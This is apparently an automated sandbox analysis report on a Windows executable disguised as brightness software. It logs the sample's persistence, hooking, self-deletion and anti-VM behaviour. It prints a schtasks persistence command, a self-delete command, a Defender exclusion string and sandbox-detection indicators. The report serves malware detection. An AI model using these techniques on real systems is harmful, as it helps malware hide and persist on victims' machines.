Source: C:\Users\user\Desktop\010013.exe	Mutant created: \Sessions\1\BaseNamedObjects\reblGreen Software DimWin Brightness
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 010013.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 010013.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netsh.pdb source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe, 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 010013.exe, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: ELqDlkdxF.exe.0.dr, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.010013.exe.4c0000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.010013.exe.4c0000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 6.2.010013.exe.460000.1.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 6.0.010013.exe.460000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_0772D665 push FFFFFF8Bh; iretd	0_2_0772D667
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07724D58 push ds; retf	0_2_07724D59
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00417D24 push ecx; ret	6_2_00417D36
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00417603 push ss; ret	6_2_00417604
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00403632 pushfd ; ret	6_2_00403639
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEF2 push eax; ret	6_2_0041CEF8
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEFB push eax; ret	6_2_0041CF62
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEA5 push eax; ret	6_2_0041CEF8
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CF5C push eax; ret	6_2_0041CF62
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0342D0D1 push ecx; ret	10_2_0342D0E4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D7D24 push ecx; ret	10_2_008D7D36
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEA5 push eax; ret	10_2_008DCEF8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEFB push eax; ret	10_2_008DCF62
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEF2 push eax; ret	10_2_008DCEF8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D7603 push ss; ret	10_2_008D7604
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C3632 pushfd ; ret	10_2_008C3639
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCF5C push eax; ret	10_2_008DCF62

Source: initial sample	Static PE information: section name: .text entropy: 7.61582081487
Source: initial sample	Static PE information: section name: .text entropy: 7.61582081487

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\010013.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x89 0x9E 0xEF

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\netsh.exe	Process created: /c del 'C:\Users\user\Desktop\010013.exe'
Source: C:\Windows\SysWOW64\netsh.exe	Process created: /c del 'C:\Users\user\Desktop\010013.exe'			Jump to behavior

Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.010013.exe.2912ec4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.010013.exe.293e91c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 010013.exe PID: 1568, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\010013.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\010013.exe	RDTSC instruction interceptor: First address: 0000000000409B4E second address: 0000000000409B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000008C98E4 second address: 00000000008C98EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000008C9B4E second address: 00000000008C9B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\010013.exe TID: 5040	Thread sleep time: -30497s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe TID: 1748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4768	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe TID: 3600	Thread sleep time: -45000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_00409A80 rdtsc

6_2_00409A80

Source: C:\Users\user\Desktop\010013.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe	Thread delayed: delay time: 30497			Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: explorer.exe, 00000007.00000000.723502092.000000000A897000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000007.00000000.754874591.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.732616812.0000000004791000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}J
Source: explorer.exe, 00000007.00000000.734514267.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.754874591.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000007.00000000.717605287.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_00409A80 rdtsc

6_2_00409A80

Source: C:\Users\user\Desktop\010013.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8B58 mov eax, dword ptr fs:[00000030h]	10_2_034A8B58
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D4F2E mov eax, dword ptr fs:[00000030h]	10_2_033D4F2E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D4F2E mov eax, dword ptr fs:[00000030h]	10_2_033D4F2E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8F6A mov eax, dword ptr fs:[00000030h]	10_2_034A8F6A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FF716 mov eax, dword ptr fs:[00000030h]	10_2_033FF716
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03403B7A mov eax, dword ptr fs:[00000030h]	10_2_03403B7A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03403B7A mov eax, dword ptr fs:[00000030h]	10_2_03403B7A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A070D mov eax, dword ptr fs:[00000030h]	10_2_034A070D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A070D mov eax, dword ptr fs:[00000030h]	10_2_034A070D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A70E mov eax, dword ptr fs:[00000030h]	10_2_0340A70E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A70E mov eax, dword ptr fs:[00000030h]	10_2_0340A70E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0349131B mov eax, dword ptr fs:[00000030h]	10_2_0349131B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FF10 mov eax, dword ptr fs:[00000030h]	10_2_0346FF10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FF10 mov eax, dword ptr fs:[00000030h]	10_2_0346FF10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DDB60 mov ecx, dword ptr fs:[00000030h]	10_2_033DDB60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EFF60 mov eax, dword ptr fs:[00000030h]	10_2_033EFF60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DF358 mov eax, dword ptr fs:[00000030h]	10_2_033DF358
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340E730 mov eax, dword ptr fs:[00000030h]	10_2_0340E730
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DDB40 mov eax, dword ptr fs:[00000030h]	10_2_033DDB40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EEF40 mov eax, dword ptr fs:[00000030h]	10_2_033EEF40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]	10_2_034003E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E8794 mov eax, dword ptr fs:[00000030h]	10_2_033E8794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E1B8F mov eax, dword ptr fs:[00000030h]	10_2_033E1B8F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E1B8F mov eax, dword ptr fs:[00000030h]	10_2_033E1B8F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034137F5 mov eax, dword ptr fs:[00000030h]	10_2_034137F5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0349138A mov eax, dword ptr fs:[00000030h]	10_2_0349138A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348D380 mov ecx, dword ptr fs:[00000030h]	10_2_0348D380
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340B390 mov eax, dword ptr fs:[00000030h]	10_2_0340B390
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]	10_2_03457794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]	10_2_03457794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]	10_2_03457794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A5BA5 mov eax, dword ptr fs:[00000030h]	10_2_034A5BA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03464257 mov eax, dword ptr fs:[00000030h]	10_2_03464257
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DE620 mov eax, dword ptr fs:[00000030h]	10_2_033DE620
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F3A1C mov eax, dword ptr fs:[00000030h]	10_2_033F3A1C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348B260 mov eax, dword ptr fs:[00000030h]	10_2_0348B260
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348B260 mov eax, dword ptr fs:[00000030h]	10_2_0348B260
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8A62 mov eax, dword ptr fs:[00000030h]	10_2_034A8A62
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAA16 mov eax, dword ptr fs:[00000030h]	10_2_033DAA16
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAA16 mov eax, dword ptr fs:[00000030h]	10_2_033DAA16
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E8A0A mov eax, dword ptr fs:[00000030h]	10_2_033E8A0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341927A mov eax, dword ptr fs:[00000030h]	10_2_0341927A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]	10_2_033DC600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]	10_2_033DC600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]	10_2_033DC600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03408E00 mov eax, dword ptr fs:[00000030h]	10_2_03408E00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]	10_2_033FAE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]	10_2_033FAE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]	10_2_033FAE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]	10_2_033FAE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]	10_2_033FAE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E766D mov eax, dword ptr fs:[00000030h]	10_2_033E766D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A61C mov eax, dword ptr fs:[00000030h]	10_2_0340A61C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A61C mov eax, dword ptr fs:[00000030h]	10_2_0340A61C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348FE3F mov eax, dword ptr fs:[00000030h]	10_2_0348FE3F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]	10_2_033D9240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]	10_2_033D9240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]	10_2_033D9240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]	10_2_033D9240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]	10_2_033E7E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03418EC7 mov eax, dword ptr fs:[00000030h]	10_2_03418EC7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348FEC0 mov eax, dword ptr fs:[00000030h]	10_2_0348FEC0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034036CC mov eax, dword ptr fs:[00000030h]	10_2_034036CC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EAAB0 mov eax, dword ptr fs:[00000030h]	10_2_033EAAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EAAB0 mov eax, dword ptr fs:[00000030h]	10_2_033EAAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]	10_2_033D52A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]	10_2_033D52A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]	10_2_033D52A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]	10_2_033D52A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]	10_2_033D52A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8ED6 mov eax, dword ptr fs:[00000030h]	10_2_034A8ED6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034016E0 mov ecx, dword ptr fs:[00000030h]	10_2_034016E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FE87 mov eax, dword ptr fs:[00000030h]	10_2_0346FE87
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340D294 mov eax, dword ptr fs:[00000030h]	10_2_0340D294
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340D294 mov eax, dword ptr fs:[00000030h]	10_2_0340D294
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E76E2 mov eax, dword ptr fs:[00000030h]	10_2_033E76E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034546A7 mov eax, dword ptr fs:[00000030h]	10_2_034546A7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]	10_2_034A0EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]	10_2_034A0EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]	10_2_034A0EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FAB0 mov eax, dword ptr fs:[00000030h]	10_2_0340FAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03413D43 mov eax, dword ptr fs:[00000030h]	10_2_03413D43
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453540 mov eax, dword ptr fs:[00000030h]	10_2_03453540
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
